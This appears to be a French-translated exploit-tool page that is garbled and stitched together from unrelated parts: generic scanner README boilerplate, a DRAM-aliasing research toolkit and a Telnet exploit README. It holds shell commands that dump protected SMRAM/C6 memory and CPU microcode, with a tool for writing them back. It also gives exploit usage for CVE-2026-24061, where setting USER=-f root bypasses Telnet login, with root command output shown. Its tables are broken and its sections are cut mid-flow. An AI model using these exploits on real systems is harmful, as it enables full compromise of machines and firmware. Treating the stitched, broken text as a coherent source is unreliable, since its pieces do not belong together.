Solution : Augmentez la valeur du délai d'attente dans le fichier de configuration ou via l'option en ligne de commande.

root@kitploit:~
tool scan --target example.com --timeout 60

Problème : Permission refusée

Solution : Assurez-vous de disposer des permissions nécessaires pour accéder aux ressources.

root@kitploit:~
# Vérifier les permissions
ls -la /path/to/resource

Journalisation de débogage

Activez la journalisation de débogage pour obtenir des informations détaillées :

root@kitploit:~
tool scan --target example.com --debug

Ou définissez la variable d'environnement :

root@kitploit:~
export TOOL_DEBUG=true
tool scan --target example.com

Contribution

Les contributions sont les bienvenues ! Veuillez consulter le fichier CONTRIBUTING.md pour plus de détails.

Directives de contribution

  1. Forkez le dépôt
  2. Créez une branche de fonctionnalité (git checkout -b feature/amazing-feature)
  3. Validez vos modifications (git commit -m 'Add amazing feature')
  4. Poussez vers la branche (git push origin feature/amazing-feature)
  5. Ouvrez une Pull Request

Normes de codage

  • Suivez le guide de style du langage
  • Écrivez des tests pour les nouvelles fonctionnalités
  • Mettez à jour la documentation si nécessaire
  • Assurez-vous que tous les tests passent

Signaler des problèmes

Lorsque vous signalez un problème, veuillez inclure :

  • La version de l'outil
  • Le système d'exploitation et la version
  • Les étapes pour reproduire le problème
  • Le comportement attendu
  • Le comportement réel
  • Les journaux ou messages d'erreur pertinents

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Remerciements

  • Merci à tous les contributeurs
  • Inspiré par des outils similaires dans la communauté
  • Construit avec des bibliothèques open source

Support

  • Documentation : https://docs.example.com
  • Problèmes : https://github.com/example/tool/issues
  • Discussions : https://github.com/example/tool/discussions

Avertissement

Cet outil est destiné à des fins de test de sécurité et d'évaluation autorisés uniquement. Les utilisateurs sont responsables du respect de toutes les lois et réglementations applicables. Les auteurs ne sont pas responsables de toute utilisation abusive ou dommage causé par cet outil.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

root@kitploit:~
Ces instructions s'exécutent en ring -2, le contexte le plus privilégié du CPU,
dans une mémoire que le chipset est censé rendre illisible. Le SMRAM « verrouillé »
s'avère être une aimable suggestion quand on peut parler directement au contrôleur
DRAM.

Remplacez `2x4gb` par le préfixe dans `data/maps/` qui correspond à vos DIMM
installés (`sudo dmidecode -t memory`). Si votre topologie n'y figure pas, lancez
`analysis/gather_aliases.py` puis `analysis/unspaghettify.py` pour générer la vôtre.

---

## Démarrage rapide : déverrouiller la DRAM en C6

> *Je n'ai aucune idée de ce qui se trouve ici et je ne l'ai jamais vu discuté, probablement
> des registres internes du CPU. Amusez-vous bien.*

Lorsque les cœurs passent en power-gate vers C6, le contexte architectural x86 complet de chacun est
stocké ici pour restauration.```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

| -s | --server | SERVER | http://localhost:8080 | URL du serveur cible | | -t | --token | TOKEN | - | Jeton d'authentification | | -o | --output | FILE | stdout | Fichier de sortie | | -f | --format | FORMAT | json | Format de sortie (json, yaml, csv) | | -v | | - | | Activer la sortie détaillée | | | | - | | Supprimer toute la sortie non essentielle | | | - | | | Délai d'expiration de la requête en secondes | | | - | | | Nombre de tentatives en cas d'échec | | | - | - | | Ignorer la vérification du certificat TLS |

Exemples

root@kitploit:~
# Interroger le serveur avec les paramètres par défaut
scanner --server http://localhost:8080

# S'authentifier avec un jeton et enregistrer la sortie au format JSON
scanner -s https://api.example.com -t "your-token-here" -o results.json

# Activer la sortie détaillée et augmenter le délai d'expiration
scanner -v --timeout 60 --retry 5

# Ignorer la vérification TLS pour les environnements de test
scanner --insecure -s https://staging.example.com

Variables d'environnement

Codes de sortie

Configuration

Le scanner peut être configuré à l'aide d'un fichier de configuration YAML. Par défaut, il recherche un fichier nommé scanner.yaml dans le répertoire courant, puis dans $HOME/.config/scanner/config.yaml.

root@kitploit:~
server: http://localhost:8080
token: your-token-here
timeout: 30
retry: 3
insecure: false
log_level: info
output:
  format: json
  file: results.json

Les valeurs de configuration sont résolues dans l'ordre de priorité suivant :

  1. Arguments de ligne de commande
  2. Variables d'environnement
  3. Fichier de configuration
  4. Valeurs par défaut intégrées```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
root@kitploit:~
Un cœur avec le bit BSP activé, trois sans — le processeur d'amorçage et ses trois
AP, surpris en pleine inactivité avec leur état de registres exposé au grand jour.

Plus vous fouillez, plus vous découvrirez de registres CPU :

| offset | état x86 | valeur du cœur 0 |
|---|---|---|
| `+0x8b0` | GS / base par CPU | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (racine de table de pages) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | MTRR variable (base/masque) | `0x6f000000 / …0800` |
| `+0xb10` | RIP sauvegardé | `0xffffffff8f3a0029` |

Bien sûr, ces registres sont de toute façon accessibles depuis le ring-0. La
partie *amusante* réside dans tout cet *autre* état CPU qui traîne là — en fouillant
les registres CPU internes que le ring-0 ne peut pas atteindre.

---

## Démarrage rapide : déverrouillez votre microcode CPU

> *Qu'est-ce qui pourrait mal tourner ?*

Lorsqu'un cœur passe en C6, sa RAM de correctif microcode — une SRAM volatile — s'éteint avec
le reste du cœur. Ainsi, la réserve C6 conserve le correctif chargé en DRAM et le réinjecte
au réveil. Cette copie se trouve à `+0x1800` dans chaque zone de sauvegarde, et
l'alias y accède comme n'importe quel autre octet.

Récupérez la copie du microcode que le CPU a dissimulée dans la DRAM protégée :```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

Comparez-le aux correctifs connus :```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

root@kitploit:~
C'est bon signe :```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

Extrayez les triades ucode :```sh od -Ax -tx1 -w20 ucode_ram.bin

root@kitploit:~
## Utilisation

```text
python3 CVE-2026-24061.py -u <target_url> -c <command>

Arguments

Exemples

root@kitploit:~
# Exécuter la commande id sur la cible
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "id"

# Exécuter une commande avec un délai d'attente personnalisé
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "uname -a" -t 15

# Activer la sortie détaillée
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "whoami" -v

Sortie

L'outil affiche :

  1. Informations sur la cible - L'URL cible et la commande à exécuter
  2. Statut de connexion - Si la connexion Telnet a réussi
  3. Résultat de l'exploit - La sortie de la commande exécutée
  4. Résumé - Résumé de l'exploitation

Exemple de sortie

root@kitploit:~
[*] Target: telnet://192.168.1.100:23
[*] Command: id
[*] Connecting to target...
[+] Connected successfully
[*] Sending exploit payload...
[+] Exploit sent successfully
[*] Command output:
uid=0(root) gid=0(root) groups=0(root)
[*] Exploitation completed

Comment cela fonctionne

  1. Analyse de l'URL - L'outil analyse l'URL Telnet pour extraire l'hôte et le port
  2. Établissement de la connexion - Une connexion TCP est établie avec le service Telnet cible
  3. Négociation Telnet - L'outil gère la négociation des options Telnet
  4. Injection de la charge utile - La charge utile de l'exploit est envoyée avec la variable d'environnement USER définie sur -f root
  5. Exécution de la commande - La commande spécifiée est exécutée avec les privilèges root
  6. Récupération de la sortie - La sortie de la commande est capturée et affichée

Détails de la vulnérabilité

Cause racine

La vulnérabilité existe parce que le service Telnet ne valide pas correctement la variable d'environnement USER avant de l'utiliser dans les opérations d'authentification. En définissant USER=-f root, un attaquant peut contourner l'authentification et obtenir un accès root.

Vecteur d'attaque

  • Vecteur : Réseau
  • Complexité : Faible
  • Privilèges requis : Aucun
  • Interaction utilisateur : Aucune

Impact

Une exploitation réussie permet à un attaquant d'exécuter des commandes arbitraires avec les privilèges root sur le système cible, entraînant une compromission totale.

Remédiation

Correctifs

  • Mettre à jour vers la dernière version du service Telnet
  • Appliquer les correctifs de sécurité fournis par le fournisseur
  • Désactiver le service Telnet s'il n'est pas nécessaire

Atténuations

  • Restreindre l'accès réseau au service Telnet
  • Utiliser des protocoles sécurisés comme SSH au lieu de Telnet
  • Mettre en œuvre une segmentation réseau
  • Surveiller les tentatives d'exploitation

Détection

  • Surveiller les connexions Telnet avec des variables d'environnement suspectes
  • Rechercher USER=-f root dans les journaux
  • Surveiller les tentatives d'authentification anormales
  • Utiliser des systèmes de détection d'intrusion pour identifier les modèles d'exploitation

Avertissement

Cet outil est fourni à des fins éducatives et de tests de sécurité uniquement. L'utilisation de cet outil contre des systèmes sans autorisation écrite préalable est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.

Références

  • CVE-2026-24061
  • NIST NVD
  • Documentation Telnet

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Auteur

Kitploit

  • GitHub : @kitploit
  • Twitter : @kitploit

Remerciements

  • Merci à tous les contributeurs
  • Inspiration de diverses ressources de sécurité
  • Construit avec Python et la bibliothèque standard

Avertissement : Cet outil est destiné à des fins de tests de sécurité et de recherche uniquement. Utilisez-le de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

root@kitploit:~
Et voilà, des uops distincts en haut, un remplissage NOP qui se répète en dessous.

À partir de là, `dram_dump` a un outil frère, `dram_poke`. Le même alias qui a lu le patch peut l'écrire — et cette copie est celle que le cœur recharge en sortant de l'état d'inactivité.

Ce que vous faites ensuite dépend de votre imagination.

---

## Build```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

Utilisation

Exécuter en tant que root. Détails complets dans USAGE.md.

dram_read

Lecture simple depuis une adresse mémoire protégée.

Poussez les bascules --do-swizzle / --do-bankswap dans le contrôleur DRAM pour entrer dans la vue mémoire spaghettifiée, lisez un dword depuis l'adresse physique <pa>, restaurez les bits DCT, et retournez la valeur.``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

root@kitploit:~
### `dram_poke`

Écrire dans une plage mémoire protégée.

Chaque `--map` est une spaghettification résolue issue de `unspaghettify.py --save-map`,
elle-même alimentée par les paires d'alias collectées par `gather_aliases.py` ; l'alias pour chaque
dword dans la plage protégée est récupéré à partir de la map via un pseudo-inverse
GF(2) calculé une fois au démarrage. Passez plusieurs maps — une par
`(at_swizzle, at_bankswap)` collectée sur le même matériel — pour élargir la couverture,
puisque chaque spaghettification laisse un ensemble différent de trous de rang déficient et
la première map qui atteint un dword donné l'emporte.```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

Lire depuis une plage mémoire protégée.

Même mécanisme --map que dram_poke : chaque map est une spaghettification résolue depuis unspaghettify.py --save-map, l'alias de chaque dword est récupéré via un pseudo-inverse GF(2) à usage unique, et plusieurs maps collectées à différents (at_swizzle, at_bankswap) élargissent la couverture là où les trous de rang déficient d'une map sont comblés par ceux d'une autre.``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

root@kitploit:~
La chaîne d'outils complète — `dram_state`, `dram_carveouts` et `dram_alias` ; le pipeline d'analyse `gather_aliases.py` / `unspaghettify.py` ; des exemples de bout en bout ; et les rouages internes — est documentée dans **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)**.

---

## Le pipeline partagé

`skitter-creek-bath-salts` explore comment les étapes finales des transformations MCT/DCT peuvent faire s'effondrer la sécurité de tout ce qui est construit au-dessus. L'exploit démontré ici est un registre de configuration sur AMD Family 16h, choisi parce que les fiches techniques fournissaient suffisamment d'éléments pour commencer. Le *pipeline* qu'il a brisé est partout.

Entrelacement de canaux, entrelacement de rangs, entrelacement de bancs, swizzle, normalisation des chip-selects — chaque contrôleur mémoire moderne fait une version de tout cela. AMD. Intel. ARM. RISC-V. Mobile. Serveur. Embarqué. La même forme architecturale se trouve sous-jacente à tout.

*Au-dessus* de tout cela se trouvent SEV, SGX, TDX, TrustZone, les realms CCA, pKVM, CoVE, SEP, le PSP, ME, T-SEG, SMRAM, le stash C6. Tout ce qui réside dans la DRAM — même ce qui est cloisonné et invisible au ring-0 ou au CPU lui-même — repose sur les couches finales d'un pipeline `*p` que nous n'avons fait que commencer à explorer.

---

## Références

* Black Hat 2026 — Spaghettifying DRAM (Bientôt disponible)

---

## Auteur

`skitter-creek-bath-salts` est un travail de recherche de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))

---

![Experiment](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---
Télécharger l’outil
CodeSignification
0Succès
1Erreur générale
2Mauvaise utilisation de la ligne de commande
3Erreur de configuration
4Erreur d'authentification
5Erreur réseau
6Délai d'attente dépassé
7Ressource non trouvée
8Permission refusée
9Conflit de verrouillage
10Opération annulée
--verbose
false
-q
--quiet
false
--timeout
SECONDS
30
--retry
COUNT
3
--insecure
false
VariableDescriptionValeur par défaut
SCANNER_SERVERURL du serveur ciblehttp://localhost:8080
SCANNER_TOKENJeton d'authentification-
SCANNER_TIMEOUTDélai d'expiration de la requête en secondes30
SCANNER_RETRYNombre de tentatives en cas d'échec3
SCANNER_INSECUREIgnorer la vérification du certificat TLSfalse
SCANNER_LOG_LEVELNiveau de journalisation (debug, info, warn, error)info
CodeSignification
0Succès
1Erreur générale
2Arguments de ligne de commande invalides
3Échec de l'authentification
4Délai d'expiration de la requête dépassé
5Serveur cible inaccessible
ArgumentDescription
-u, --urlURL cible (par exemple, telnet://192.168.1.100:23)
-c, --commandCommande à exécuter sur la cible
-t, --timeoutDélai de connexion en secondes (par défaut : 10)
-v, --verboseActiver la sortie détaillée